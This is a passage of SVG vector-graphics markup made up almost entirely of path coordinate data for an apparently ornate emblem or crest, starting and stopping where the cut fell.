14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" 